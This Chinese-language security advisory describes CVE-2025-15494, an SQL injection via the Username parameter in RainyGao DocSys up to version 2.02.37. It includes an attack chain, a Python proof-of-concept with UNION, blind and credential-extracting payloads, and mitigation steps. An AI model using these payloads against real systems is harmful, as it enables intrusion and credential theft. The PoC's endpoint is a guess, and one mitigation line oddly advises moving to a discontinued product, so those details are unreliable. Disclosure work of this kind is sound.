IPBUF安全漏洞报告
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CVE-2025-15494 CVSS 6.3 中危

CVE-2025-15494 RainyGao DocSys SQL注入漏洞

披露日期: 2026-01-09

漏洞信息

漏洞编号
CVE-2025-15494
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RainyGao DocSys

相关标签

SQL注入RainyGao DocSysCVE-2025-15494中危MyBatisUserMapper.xml远程代码执行信息泄露

漏洞概述

CVE-2025-15494是RainyGao DocSys系统中存在的一个SQL注入漏洞,危险等级为中危,CVSS评分为6.3。该漏洞影响RainyGao DocSys从初始版本到2.02.37的所有版本。漏洞存在于系统的UserMapper.xml映射文件中,具体位于com/DocSystem/mapping/UserMapper.xml文件中的未知函数里。攻击者可以通过操纵Username参数进行SQL注入攻击。由于该漏洞可远程利用且不需要高权限认证,低权限用户即可发起攻击,因此存在被恶意利用的风险。该漏洞的利用代码已被公开披露,攻击者可以轻易获取相关利用方式。厂商在早期已被通知此漏洞,但未做出任何回应或修复。该漏洞属于典型的应用层SQL注入问题,攻击成功可能导致数据库敏感信息泄露、数据篡改甚至服务器完全沦陷。

技术细节

该SQL注入漏洞存在于RainyGao DocSys的MyBatis映射文件UserMapper.xml中。攻击者通过构造恶意的Username参数值,可以在SQL查询中注入额外的SQL语句。由于系统未对用户输入进行充分的参数化查询或输入过滤,攻击者可以利用UNION SELECT、布尔盲注、时间盲注等技术从数据库中提取敏感信息。漏洞的利用条件如下:1) 攻击者需要能够向Username参数提交数据;2) 攻击者具有低权限账户即可发起攻击;3) 无需用户交互即可完成攻击。攻击者可能利用该漏洞获取系统用户密码哈希、配置文件信息、数据库结构等敏感数据,进一步进行横向移动或提权操作。该漏洞属于OWASP Top 10中的A03:2021 - Injection类别,是Web应用安全中的高危风险点。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者首先识别目标系统为RainyGao DocSys,并确定版本号在2.02.37或更低版本。通过公开的漏洞披露信息获取漏洞位置和利用方式。
STEP 2
步骤2: 构造恶意Payload
攻击者构造针对UserMapper.xml中Username参数的SQL注入payload,利用单引号逃逸、UNION注入或布尔盲注等技术绕过输入验证。
STEP 3
步骤3: 发送恶意请求
攻击者通过HTTP POST请求向登录接口或相关功能点发送包含恶意SQL代码的Username参数,请求无需高权限认证,低权限账户即可发起攻击。
STEP 4
步骤4: 提取数据库数据
通过SQL注入漏洞,攻击者可以提取数据库中的敏感信息,包括用户凭证、配置文件、业务数据等。进一步可能获取管理员账户并控制整个系统。
STEP 5
步骤5: 持久化控制
攻击者可能利用获取的数据库访问权限写入恶意数据、创建后门账户或修改现有账户权限,实现对系统的持久化控制。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-15494 SQL Injection PoC # Target: RainyGao DocSys <= 2.02.37 # Vulnerability: SQL Injection in UserMapper.xml via Username parameter import requests import sys def exploit_sql_injection(target_url, payload): """ Exploit SQL injection vulnerability in RainyGao DocSys target_url: Base URL of the vulnerable application payload: SQL injection payload """ endpoint = f"{target_url}/user/login" # Adjust endpoint based on actual application # Malicious payload for Username parameter data = { "Username": payload, "Password": "any_password" # Any password as we focus on SQL injection } try: response = requests.post(endpoint, data=data, timeout=10) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None # Example payloads for different SQL injection techniques PAYLOADS = { "boolean_based": "admin' AND 1=1-- -", "union_select": "admin' UNION SELECT NULL,NULL,NULL,NULL-- -", "time_based": "admin'; SLEEP(5)-- -", "extract_data": "admin' UNION SELECT username,password,email,role FROM users-- -" } if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve_2025_15494.py <target_url> <payload_type>") print(f"Available payload types: {', '.join(PAYLOADS.keys())}") sys.exit(1) target = sys.argv[1] payload_type = sys.argv[2] if payload_type not in PAYLOADS: print(f"[-] Unknown payload type: {payload_type}") sys.exit(1) print(f"[*] Targeting: {target}") print(f"[*] Using payload: {PAYLOADS[payload_type]}") response = exploit_sql_injection(target, PAYLOADS[payload_type]) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response body: {response.text[:500]}")

影响范围

RainyGao DocSys <= 2.02.37

防御指南

临时缓解措施
在厂商发布正式修复补丁之前,可采取以下临时缓解措施:1) 在Web应用防火墙或API网关层配置SQL注入检测规则,拦截包含可疑SQL关键字的请求;2) 对Username等用户可控参数实施严格的输入长度限制和字符白名单过滤,禁止单引号、分号、UNION等特殊字符;3) 暂时限制低权限账户对涉及数据库查询功能的访问权限;4) 启用数据库审计日志,实时监控异常查询行为;5) 考虑部署数据库防火墙产品,对SQL注入攻击进行实时阻断。建议尽快联系RainyGao厂商获取官方安全补丁,或评估迁移到其他已停止维护的文档管理系统替代方案。

参考链接

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